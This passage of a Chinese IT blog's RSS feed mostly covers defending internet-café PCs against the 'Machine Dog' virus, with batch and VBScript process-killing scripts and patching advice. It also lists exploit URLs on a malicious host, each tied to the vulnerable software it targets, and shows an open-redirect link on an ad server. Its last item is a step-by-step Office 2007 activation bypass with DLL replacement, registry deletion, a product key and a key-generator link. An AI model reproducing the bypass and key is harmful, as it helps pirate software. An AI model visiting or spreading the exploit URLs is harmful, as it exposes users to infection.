strComputer = &#8220;.&#8221;
Set objWMIService = GetObject(&#8220;winmgmts:&#8221; _
&#38; &#8220;{impersonationLevel=impersonate}!\\&#8221; &#38; strComputer &#38; &#8220;\root\cimv2&#8243;)
Set colProcessList1 = objWMIService.ExecQuery _
(&#8220;Select * from Win32_Process Where Name = &#8216;userinit.exe&#8217;&#8221;)
For Each objProcess1 in colProcessList1
objProcess1.Terminate()
Next
Set colProcessList2 = objWMIService.ExecQuery _
(&#8220;Select * from Win32_Process [...]]]></description>
			<content:encoded><![CDATA[<p>增加系统**</p>
<p>当机器狗刚出现时，就有人写出了相应的免疫批处理代码，如下：</p>
<p><font color="#0000ff">md %systemroot%\system32\drivers\pcihdd.sys<br />
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n<br />
cacls %systemroot%\system32\userinit.exe /e /p everyone:r<br />
</font><font color="#0000ff">exit</font><br />
按说，这段代码对于最早的机器狗病毒（10月17日之前）是管用的。机器狗病毒早期的确生成了<strong>pcihdd.sys</strong>文件.而且还修改了 <strong>userinit.exe</strong>文件。基于这两点出发，建立一个<strong>pcihdd.sys</strong>的目录，以及设置<strong>userinit.exe</strong>的访问权限是管用的。</p>
<p>然而，病毒作者很快发现了这一点。他迅速的在后期的版本中，也加入了批处理的内容。即对以上批处理作了个反向工程，解除设置的权限，删除免疫目录，还是修改userinit.exe文件，达到加载其它病毒木马的目的。<br />
后来，为了防止目录被删掉，有些强人更是出怪招，在pcihdd.sys目录下再建个怪异的目录名，形如&#8221;ty&#8230;/&#8221;的目录。这个目录用批处理是可以建立的，但是不可删除。同样，建了这个目录，pcihdd.sys目录也就不可删除了。<br />
在后期变种中，病毒不再使用pcihdd.sys的这文件为驱动，改成了其他的文件名，比如笔者今天发现的变种，驱动名就是<strong>comint32.sys</strong>..<br />
这样子看来，基于文件名的防疫方式宣告失败。有人还在不停的建那些怪异目录，以图防疫机器狗病毒。可这样子下去，你的系统里为增添多少**目录？你最后，你自己也没法删除这些**，甚至不得不格式化硬盘。</p>
<p><strong>封域名，封IP</strong><br />
早期机器狗病毒，可以通过简单的反汇编工具，找到相应的下载病毒的网址。后期的机器狗病毒变种，也可通过查看中毒机器的IE临时文件找到下载病毒的网址。<br />
机器狗病毒被各种检测方式很快被找到了，其ip地址和域名也能被发现。于是，在服务器或路由器里封掉这些域名或IP，的确可以有效防治它。然而，恶梦不会因此而结束。据笔者自身封的IP和域名，目前加起来已多达三十多个。还不包括每天都要新的域名或IP被以各种方式发现出来。<br />
ROS里脚本在无限的加长些，路由器里的列表也就无限的增长着。这样的日子，我们看不到尽头在哪儿。</p>
<p><strong>两行批处理</strong>，问题看是搞定，但也治标不治本</p>
<p>随着对机器狗病毒研究的深入，大家都一致发现了问题的关键在于userinit.exe和usrinit.exe（后期变种）文件。基于这点出发，可以使用以下两个批处理搞定问题：</p>
<p><font color="#0000ff">wmic process where name=&#8221;userinit.exe&#8221; call terminate<br />
wmic process where name=&#8221;usrinit.exe&#8221; call terminate</font><br />
这是批处理高手写的，果然非同反响。<font color="#ff6600">该代码的的意思是：当发现进程里有userinit.exe时，即关闭；当发现进程里有usrinit.exe时，也关闭。因为批处理在winlogon后运行，所以病毒刚启动，就被杀掉了。这样也就失去了下载其它病毒的机会。</font>不过，缺点是它只运行一次。这两代批处理的基础上，加入了每秒检查进程，一发现即终止的vbs脚本：</p>
<p><font color="#0000ff">do while(1)<br />
strComputer = &#8220;.&#8221;<br />
Set objWMIService = GetObject(&#8220;winmgmts:&#8221; _<br />
&amp; &#8220;{impersonationLevel=impersonate}!\\&#8221; &amp; strComputer &amp; &#8220;\root\cimv2&#8243;)</p>
<p>Set colProcessList1 = objWMIService.ExecQuery _<br />
(&#8220;Select * from Win32_Process Where Name = &#8216;userinit.exe&#8217;&#8221;)<br />
For Each objProcess1 in colProcessList1<br />
objProcess1.Terminate()<br />
Next</p>
<p>Set colProcessList2 = objWMIService.ExecQuery _<br />
(&#8220;Select * from Win32_Process Where Name = &#8216;usrinit.exe&#8217;&#8221;)<br />
For Each objProcess2 in colProcessList2<br />
objProcess2.Terminate()<br />
Next</p>
<p>Set colProcessList3 = objWMIService.ExecQuery _<br />
(&#8220;Select * from Win32_Process Where Name = &#8216;conime0.exe&#8217;&#8221;)<br />
For Each objProcess3 in colProcessList3<br />
objProcess3.Terminate()<br />
Next</p>
<p>Wscript.Sleep(1000)<br />
Loop</font><br />
<font color="#ff6600">这段vbs脚本的机制和以上两段代码有异曲同工之妙。</font>不过，用了无限循环语句，实现了对进程的动态监控，使得被监控进程无法运行。<br />
然而，无论如何，这也依然是治标（userinit.exe）的方法，而非治本（内核驱动被加载，并成功穿透还原软件）的方法。</p>
<p>各大公司，各其奇谋，其中不泛有高手中的高手。给出的方案也是切中要害，一针见血的。</p>
<p>第一节 从底层防病毒-内核也玩驱动过滤</p>
<p>这招首推南京小哨兵公司推出的机器狗防疫补丁。通过安装该补丁侦察得知，该防疫补丁在内核驱动中加入了相关文件，并在进程里进行了监听，便于软件补丁的升级。早期的防疫补丁可能有缺陷，会造成系统死机等现象，以及防不了变种等。由于其不断更新，防疫级别在系统底层，应该是值得信赖的。<br />
<font color="#ff0000">小哨兵官方网站：http://www.sentry.com.cn，时常关注，应该能下载到最新的防疫补丁</font></p>
<p>第二节 从系统引导文件NTLDR下手</p>
<p>NTLDR是xp系统的内核级引导文件，关于它的介绍如下：</p>
<p>深入Win XP之认识神秘的引导文件NTLDR</p>
<p>NTLDR一般存放于C盘根目录下，是一个具有隐藏和只读属性的系统文件。它的主要职责是解析Boot.ini文件。如果你对它的理解还不是很清楚，那么下面我们就以Windows XP为例介绍NTLDR在系统引导过程中的作用。<br />
Windows XP在引导过程中将经历预引导、引导和加载内核三个阶段，这与Windows 9X直接读取引导扇区的方式来启动系统是完全不一样的，NTLDR在这三个阶段的引导过程中将起到至关重要的作用。</p>
<p>1．预引导阶段</p>
<p>在预引导阶段里计算机所做的工作有：运行POST程序，POST将检测系统的总内存以及其他硬件设备的状况，将磁盘第一个物理扇区加载到内存，加载硬盘主引导记录并运行，主引导记录会查找活动分区的起始位置。接着活动分区的引导扇区被加载并执行，最后从引导扇区加载并初始化NTLDR文件。</p>
<p>2．引导阶段</p>
<p>在引导阶段中，Windows XP将会依次经历初始引导加载器阶段、操作系统选择阶段、硬件检测阶段以及配置选择阶段这四个小的阶段。</p>
<p>（1）在初始引导加载器阶段中，NTLDR将把计算机的微处理器从实模式转换为32位平面内存模式，在实模式中，系统会为MS－DOS预留640KB 大小的内存空间，其余的内存都被看做是扩展内存，在32位平面模式中系统将所有内存都视为可用内存，然后NTLDR执行适当的小型文件系统驱动程序，这时 NTLDR可以识别每一个用NTFS或FAT格式的文件系统分区，至此初始引导加载器阶段结束。</p>
<p>（2）当初始引导加载器阶段结束后将会进入操作系统选择阶段，如果计算机上安装了多个操作系统，由于NTLDR加载了正确的Boot.ini文件，那么在启动的时候将会出现要求选择操作系统的菜单，NTLDR正是从boot.ini文件中查找到系统文件的分区位置。如果选择了NT系统，那么NTLDR 将会运行NTDETECT.COM文件，否则NTLDR将加载BOOTSECT.DOS，然后将控制权交给BOOTSECT.DOS。如果 Boot.ini文件中只有一个操作系统或者其中的timeout值为0，那么将不会出现选择操作系统的菜单画面，如果Boot.ini文件非法或不存在，那么NTLDR将会尝试从默认系统卷启动系统。</p>
<p>小提示：NTLDR启动后，如果在系统根目录下发现有Hiberfil.sys文件且该文件有效，那么NTLDR将读取Hiberfil.sys文件里的信息并让系统恢复到休眠以前的状态，这时并不处理Boot.ini文件。</p>
<p>（3）当操作系统选择阶段结束后将会进入硬件检测阶段，这时NTDETECT.COM文件将会收集计算机中硬件信息列表，然后将列表返回到NTLDR，这样NTLDR将把这些硬件信息加载到注册表“HKEY_LOCAL_MACHINE”中的Hardware中。</p>
<p>（4）硬件检测阶段结束后将会进入配置选择阶段，如果有多个硬件配置列表，那么将会出现配置文件选择菜单，如果只有一个则不会显示。</p>
<p>3．加载内核阶段</p>
<p>在加载内核阶段中，NTLDR将加载NTOKRNL.EXE内核程序，然后NTLDR将加载硬件抽象层(HAL.dll)，接着系统将加载注册表中的 “HKEY_MACHINESystem”键值，这时NTLDR将读取“HKEY_MACHINESystemselect”键值来决定哪一个 ControlSet将被加载。所加载的ControlSet将包含设备的驱动程序以及需要加载的服务。再接着NTLDR加载注册表 “HKEY_LOCAL_MACHINESystemservice”下的start键值为0的底层设备驱动。当ControlSet的镜像 CurrentControlSet被加载时，NTLDR将把控制权传递给NTOSKRNL.EXE，至此引导过程将结束。</p>
<p>小提示：如果在启动的时候按F8键，那么我们将会在启动菜单中看到多种选择启动模式，这时NTLDR将根据用户的选择来使用启动参数加载NT内核，用户也可以在Boot.ini文件里设置启动参数。<br />
通过修改这一特殊文件，达到防疫机器狗病毒的，首推转转游戏公司。它修改这一文件，并将userinit.exe文件改名为www.ceelsoft.com.userinit文件名，并置入根目录下，达到防疫冰点被穿透的目的。具体细节，得问他们公司的技术人员了。<font color="#ff0000">转转最新机器狗补丁下载：</p>
<p>http://www.ceelsoft.com/nb/proxy/www/new0.htm</font></p>
<p>第三节 系统补丁还必须得都打上</p>
<p>系统漏洞给病毒提供可乘之机的例子，可谓举不胜举。可是，还是有些网吧网管兄弟图个简便，图个懒，做个系统，N年都懒得管他。由于系统补丁未能及时打上，给病毒提供可利用的漏洞，大开方便之门，类似于机器狗病毒泛滥也就不奇怪了。</p>
<p>笔者实测显示，默认安装完windows Xp SP2后，到今天为止，还必须给系统打上多达七十多个补丁。这么多的补丁，哪怕有一个没打好，都有可能给病毒带来机会。</p>
<p>第四节 插件，应用软件漏洞也不得不防</p>
<p>IE插件，各类流氓软件，以及以各种形式安装的控件，都有可能给系统带来新的漏洞。这一点，恐怕我们以前从未意识到。有些兄弟在做完系统后，甚至都懒得清理一下系统里这些**残渣。很多免费软件，都会多少默认安装一些插件或流邙软件，以图一点广告经济利益。而做完系统，又没能很好的清理之，就给系统带来漏洞。百度搜霸就是个很好的例子.</p>
<p>另外，一些应用软件的漏洞，也给病毒提供了可乘之机。诸如本文提到迅雷，realplay，以及通过ppstream（也可以说它是IE插件）这些常用软件等。这些软件的漏洞，往往不会引起注意。然而，他们带来的灾难，不亚于系统漏洞。通过本文先前给出的源码，不难看出这一点.</p>
<p>第五节 全网大检查</p>
<p>现在你可以，也应该对你管理的局域网络进行全面大检查了。检查你的系统是否中了机器狗病毒，是否存有以上提到的那些漏洞，检查你是否都打好了各种防穿透补丁和防疫补丁。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/xcopy-1456/" rel="bookmark" title="Permanent Link: 对比文件日期更新(XCOPY) 网吧批处理运用2">对比文件日期更新(XCOPY) 网吧批处理运用2</a></li><li><a href="http://clin003.com/netbar/arp-deception-and-the-rogue-virus-immune-simple-batch-scripts-bat-422/" rel="bookmark" title="Permanent Link: arp欺骗和机器狗病毒简单免疫批处理脚本(bat)">arp欺骗和机器狗病毒简单免疫批处理脚本(bat)</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/immune-dog-363/" >http://clin003.com/safe/immune-dog-363/</a> <br /> <a href="http://clin003.com/safe/immune-dog-363/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/immune-dog-363/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>刚刚我把bbs.clin003.com删掉啦</title>
		<link>http://clin003.com/about/del-bbs-clin003-com-336/</link>
		<comments>http://clin003.com/about/del-bbs-clin003-com-336/#comments</comments>
		<pubDate>Mon, 07 Jan 2008 15:22:44 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[关于空间]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[clin003.com]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/about/del-bbs-clin003-com-336.shtml</guid>
		<description><![CDATA[感觉没必要设个论坛，也没多少心思去照顾论坛，而且还要想着程序是不是需要打补丁！
如果有什么问题，我还是希望能在wiki中提出。
留个纪念截个图，现在还能访问我想应该是服务器缓存在起作用，图片都已经不能显示啦。

Related posts:你知道QQ聊天对话框默认的最小宽度吗？今日杂碎：疯狂的Curl今日杂碎：中国电信手机卡的资费漏洞？黑客百科发展规划及志愿者招募！百度回档，是百度数据中心的硬盘经常出故障？Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/about/del-bbs-clin003-com-336/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>感觉没必要设个论坛，也没多少心思去照顾论坛，而且还要想着程序是不是需要打补丁！</p>
<p>如果有什么问题，我还是希望能在wiki中提出。</p>
<p>留个纪念截个图，现在还能访问我想应该是服务器缓存在起作用，图片都已经不能显示啦。</p>
<p><a href="http://clin003.com/about/del-bbs-clin003-com-336/attachment/bbsclin003com/" rel="attachment wp-att-337" title="bbs.clin003.com"><img src="http://clin003.com/wp-content/uploads/2008/01/bbsclin003com.thumbnail.jpg" alt="bbs.clin003.com" /></a></p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/ideas/qqlliaotianduihuakuangmorenkuandu-1776/" rel="bookmark" title="Permanent Link: 你知道QQ聊天对话框默认的最小宽度吗？">你知道QQ聊天对话框默认的最小宽度吗？</a></li><li><a href="http://clin003.com/ideas/download-curl-diy-ttplayer-1563/" rel="bookmark" title="Permanent Link: 今日杂碎：疯狂的Curl">今日杂碎：疯狂的Curl</a></li><li><a href="http://clin003.com/ideas/zhongguodianxinshoujikazifeiloudong-1898/" rel="bookmark" title="Permanent Link: 今日杂碎：中国电信手机卡的资费漏洞？">今日杂碎：中国电信手机卡的资费漏洞？</a></li><li><a href="http://clin003.com/about/hackers-wikipedia-development-planning-and-volunteer-recruitment-180/" rel="bookmark" title="Permanent Link: 黑客百科发展规划及志愿者招募！">黑客百科发展规划及志愿者招募！</a></li><li><a href="http://clin003.com/ideas/baiduhuidang-1783/" rel="bookmark" title="Permanent Link: 百度回档，是百度数据中心的硬盘经常出故障？">百度回档，是百度数据中心的硬盘经常出故障？</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/about/del-bbs-clin003-com-336/" >http://clin003.com/about/del-bbs-clin003-com-336/</a> <br /> <a href="http://clin003.com/about/del-bbs-clin003-com-336/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/about/del-bbs-clin003-com-336/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>被al.99.vc使用js挂马解决办法</title>
		<link>http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/</link>
		<comments>http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/#comments</comments>
		<pubDate>Mon, 07 Jan 2008 10:32:08 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[网吧经验谈]]></category>
		<category><![CDATA[al.99.vc]]></category>
		<category><![CDATA[Arp]]></category>
		<category><![CDATA[挂马]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333.shtml</guid>
		<description><![CDATA[al.99.vc挂马分析与解决建议
修改系统盘：C:\WINDOWS\system32\drivers\etc＼host（用记事本打开）文件添加这句可以临时解决再次中这个站的木马病毒
127.0.0.1 al.99.vc
屏蔽这个网站就可以啦
。。。
http://w18.vg/real.gif貌似感染real，如果你有ｒｅａｌｏｎｅ建议卸掉或者去官方下载最新的版本装上。如果你看到ｒｅａｌｏｎｅ不是有错误提示说明你的ｒｅａｌｏｎｅ有漏洞。
http://w18.vg/ms.gif这个貌似只有ｉｅ７才会被中上。所以建议你打上最新的ｉｅ补丁。
http://w18.vg/baidu.gif百度搜霸的漏洞利用，建议直接卸掉就可以啦。或者升级你的搜霸。
http://w18.vg/x1.gif这个已经为404页啦不清楚是什么
http://w18.vg/lz.gif利用的是glchat的漏洞是一个聊天工具
http://w18.vg/bf.gif暴风影音的漏洞利用，建议去下载新的暴风影音
如果个人机子建议打开病毒实时检测功能。
如果你有更好的建议，谢谢分享。
Related posts:al.99.vc/1.js内容还原真郁闷，其他机房中arp拉，让我也被挂马偶然间发现页面也有PR啦！用Google可查马英九机密c和c++关于变量声明位置不同Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p><a href="http://wiki.mygogou.com/doc-view-844.html" target="_blank">al.99.vc挂马分析与解决建议</a></p>
<p><font size="-1">修改系统盘：C:\WINDOWS\system32\drivers\etc＼host（用记事本打开）文件添加这句可以临时解决再次中这个站的木马病毒</font></p>
<p><font size="-1">127.0.0.1 <strong>al.99.vc</strong></font></p>
<p>屏蔽这个网站就可以啦</p>
<p>。。。</p>
<p>http://w18.vg/real.gif貌似感染real，如果你有ｒｅａｌｏｎｅ建议卸掉或者去官方下载最新的版本装上。如果你看到ｒｅａｌｏｎｅ不是有错误提示说明你的ｒｅａｌｏｎｅ有漏洞。</p>
<p>http://w18.vg/ms.gif这个貌似只有ｉｅ７才会被中上。所以建议你打上最新的ｉｅ补丁。</p>
<p>http://w18.vg/baidu.gif百度搜霸的漏洞利用，建议直接卸掉就可以啦。或者升级你的搜霸。</p>
<p>http://w18.vg/x1.gif这个已经为404页啦不清楚是什么</p>
<p>http://w18.vg/lz.gif利用的是glchat的漏洞是一个聊天工具</p>
<p>http://w18.vg/bf.gif暴风影音的漏洞利用，建议去下载新的暴风影音</p>
<p>如果个人机子建议打开病毒实时检测功能。</p>
<p>如果你有更好的建议，谢谢分享。</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/technical-analysis/al-99-vc-1-js-js-code-decryption-329/" rel="bookmark" title="Permanent Link: al.99.vc/1.js内容还原">al.99.vc/1.js内容还原</a></li><li><a href="http://clin003.com/ideas/arp-rafah-in-the-other-room-so-i-was-pegged-ma-327/" rel="bookmark" title="Permanent Link: 真郁闷，其他机房中arp拉，让我也被挂马">真郁闷，其他机房中arp拉，让我也被挂马</a></li><li><a href="http://clin003.com/about/posts-pr-1274/" rel="bookmark" title="Permanent Link: 偶然间发现页面也有PR啦！">偶然间发现页面也有PR啦！</a></li><li><a href="http://clin003.com/suggested-contents/ma-ying-jeou-or-check-with-google-confidential-199/" rel="bookmark" title="Permanent Link: 用Google可查马英九机密">用Google可查马英九机密</a></li><li><a href="http://clin003.com/debug/c-and-c-statements-on-the-location-of-different-variables-345/" rel="bookmark" title="Permanent Link: c和c++关于变量声明位置不同">c和c++关于变量声明位置不同</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/" >http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/</a> <br /> <a href="http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/safe/al-99-vc-use-was-linked-to-ma-solution-js-333/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>很显然pplive的广告业务中有跨站漏洞（迅雷：cknum.xunlei.com）</title>
		<link>http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/</link>
		<comments>http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/#comments</comments>
		<pubDate>Fri, 04 Jan 2008 01:17:33 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[互联网]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[漏洞]]></category>
		<category><![CDATA[pplive]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[跨站漏洞]]></category>
		<category><![CDATA[迅雷]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/exploits/pplive-ad-host-cknum-xunlei-com-298.shtml</guid>
		<description><![CDATA[http://cknum.xunlei.com/fcg-bin/cgi_banner_stat.fcg?url=http://wz.mygogou.com/直接打开这个链接就会转到本博客。
这个（cknum.xunlei.com）是pplive的一个广告服务器(频道)。
还不清楚pplive和迅雷是不是只是广告上的合作。
pplive的广告服务器地址有：
cknum.xunlei.com
cop.my.xunlei.com
biz5.sandai.net
pt.cga.com.cn
pp.pplive.com
Related posts:Firefox代理使用办法打算把wiki中的google ad替换为阿里的同大小adWordPress站内置顶文字广告插件:MaxBlogPress Stripe Ad某局对谷歌音乐下手啦？google免费网络广告服务平台(需邀请)(Manage your online ad sales and inventory for free)Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p><a href="http://cknum.xunlei.com/fcg-bin/cgi_banner_stat.fcg?url=http://wz.mygogou.com/">http://cknum.xunlei.com/fcg-bin/cgi_banner_stat.fcg?url=http://wz.mygogou.com/</a>直接打开这个链接就会转到本博客。</p>
<p>这个（cknum.xunlei.com）是pplive的一个广告服务器(频道)。</p>
<p>还不清楚pplive和迅雷是不是只是广告上的合作。</p>
<p>pplive的广告服务器地址有：</p>
<p>cknum.xunlei.com</p>
<p>cop.my.xunlei.com<br />
biz5.sandai.net<br />
pt.cga.com.cn<br />
pp.pplive.com</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/internet/firefox-using-proxy-433/" rel="bookmark" title="Permanent Link: Firefox代理使用办法">Firefox代理使用办法</a></li><li><a href="http://clin003.com/about/intend-to-wiki-in-the-google-ad-replacement-for-the-same-size-ad-ali-998/" rel="bookmark" title="Permanent Link: 打算把wiki中的google ad替换为阿里的同大小ad">打算把wiki中的google ad替换为阿里的同大小ad</a></li><li><a href="http://clin003.com/wp-use/maxblogpress-stripe-ad-304/" rel="bookmark" title="Permanent Link: WordPress站内置顶文字广告插件:MaxBlogPress Stripe Ad">WordPress站内置顶文字广告插件:MaxBlogPress Stripe Ad</a></li><li><a href="http://clin003.com/ideas/ping-google-music-by-g-top100-cn-1442/" rel="bookmark" title="Permanent Link: 某局对谷歌音乐下手啦？">某局对谷歌音乐下手啦？</a></li><li><a href="http://clin003.com/google/google-ad-manager-531/" rel="bookmark" title="Permanent Link: google免费网络广告服务平台(需邀请)(Manage your online ad sales and inventory for free)">google免费网络广告服务平台(需邀请)(Manage your online ad sales and inventory for free)</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/" >http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/</a> <br /> <a href="http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
			<wfw:commentRss>http://clin003.com/exploits/pplive-ad-host-cknum-xunlei-com-298/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>安装office 2007企业版然后提示激活解决办法</title>
		<link>http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/</link>
		<comments>http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/#comments</comments>
		<pubDate>Sat, 29 Dec 2007 02:10:37 +0000</pubDate>
		<dc:creator>白菜林</dc:creator>
				<category><![CDATA[安全]]></category>
		<category><![CDATA[技术分析]]></category>
		<category><![CDATA[推荐,内容]]></category>
		<category><![CDATA[office 2007]]></category>
		<category><![CDATA[OGACheckControl]]></category>
		<category><![CDATA[激活]]></category>

		<guid isPermaLink="false">http://wz.mygogou.com/suggested-contents/%e5%ae%89%e8%a3%85office-2007%e4%bc%81%e4%b8%9a%e7%89%88%e7%84%b6%e5%90%8e%e6%8f%90%e7%a4%ba%e6%bf%80%e6%b4%bb%e8%a7%a3%e5%86%b3%e5%8a%9e%e6%b3%95-245.shtml</guid>
		<description><![CDATA[安装了office 2007企业版，有个序列号，安装完成以后要 激活，郁闷！网上都说是卸载后，再安装免激活的版本，其实没有这么麻烦。
1、到微软官方网站进行Office正版验证，地址是：http://www.microsoft.com/genuine/default.aspx?displaylang=zh-cn，呵呵，验证记过当然是盗版了，没关系，下载 （OGACheckControl）这个dll文件，替换掉c:\windows\system32\下面的同名文件。这个文件必须是你进行验证才会生成的。还有替换的时候记得关闭IE浏览器。
2、开始&#8211;运行&#8211;输入“regedit”打开注册表，找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Registration\
将所有{90120000-0030-0000-0000-0000000FF1CE}类似名下的DigitalProductID，ProductID键值删除。
3，打开word，此时，提示你输入序列号， 输入可以用的序列号然后立即安装就可以在一分钟之内激活office2007啦就可以啦
这里提供些个能用的序列号：
V9MTG-3GX8P-D3Y4R-68BQ8-4Q8VD
也可以用这个序列号生成器：
Related posts:从pdf图片中抓取文字Visual C++ 2008 Feature Pack BetaOffice 2007又复活啦跑啦两天，郑州已经变热啦！！windows下调整各分区容量大小Copyright &#169; 2007-2009 This feed is building by Lin's Space&#124;Only and 我的爬行JI - IT资讯精读.本文地址：http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/  雁过留言. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)]]></description>
			<content:encoded><![CDATA[<p>安装了office 2007企业版，有个序列号，安装完成以后要 激活，郁闷！网上都说是卸载后，再安装免激活的版本，其实没有这么麻烦。</p>
<p>1、到微软官方网站进行Office正版验证，地址是：<font face="Courier New"><a href="http://www.microsoft.com/genuine/default.aspx?displaylang=zh-cn">http://www.microsoft.com/genuine/default.aspx?displaylang=zh-cn</a></font>，呵呵，验证记过当然是盗版了，没关系，<a href="http://wz.mygogou.com/sa/OGACheckControl.rar"><span style="color: #ff6600">下载</span></a> （<a rel="attachment wp-att-255" href="http://wz.mygogou.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245.shtml/ogacheckcontrol-2/" title="OGACheckControl">OGACheckControl</a>）这个dll文件，替换掉c:\windows\system32\下面的同名文件。这个文件必须是你进行验证才会生成的。还有替换的时候记得关闭IE浏览器。</p>
<p>2、开始&#8211;运行&#8211;输入“regedit”打开注册表，找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\12.0\Registration\<br />
将所有{90120000-0030-0000-0000-0000000FF1CE}类似名下的DigitalProductID，ProductID键值删除。</p>
<p>3，打开word，此时，提示你输入序列号， 输入可以用的序列号然后立即安装就可以在一分钟之内激活office2007啦就可以啦</p>
<p>这里提供些个能用的序列号：</p>
<p>V9MTG-3GX8P-D3Y4R-68BQ8-4Q8VD</p>
<p>也可以用这个<a href="http://wz.mygogou.com/sa/Office2007suanhaoqi.rar">序列号生成器</a>：</p>
<hr /><h2>Related posts:</h2><ul><li><a href="http://clin003.com/technical-analysis/pdf-crawl-from-the-text-in-the-picture-1007/" rel="bookmark" title="Permanent Link: 从pdf图片中抓取文字">从pdf图片中抓取文字</a></li><li><a href="http://clin003.com/suggested-contents/visual-c-2008-feature-pack-beta-343/" rel="bookmark" title="Permanent Link: Visual C++ 2008 Feature Pack Beta">Visual C++ 2008 Feature Pack Beta</a></li><li><a href="http://clin003.com/ideas/office-2007-also-resurrected-1421/" rel="bookmark" title="Permanent Link: Office 2007又复活啦">Office 2007又复活啦</a></li><li><a href="http://clin003.com/ideas/windows-2008-server-enterprise-1091/" rel="bookmark" title="Permanent Link: 跑啦两天，郑州已经变热啦！！">跑啦两天，郑州已经变热啦！！</a></li><li><a href="http://clin003.com/ideas/easeus-partition-manager-home-edition-1499/" rel="bookmark" title="Permanent Link: windows下调整各分区容量大小">windows下调整各分区容量大小</a></li></ul><hr /><small>Copyright &copy; 2007-2009<br /> This feed is building by <a href="http://clin003.com/">Lin's Space|Only</a> and <a href="http://hi.clin003.com/">我的爬行JI - IT资讯精读</a>.<br />本文地址：<a href="http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/" >http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/</a> <br /> <a href="http://clin003.com/safe/2007-enterprise-edition-installation-of-office-then-suggested-that-activation-solution-245/#comment" title="to the comments">雁过留言</a>. (Digital Fingerprint: 850cee8la75i9f3ne9c0dd80e31392be)</small>]]></content:encoded>
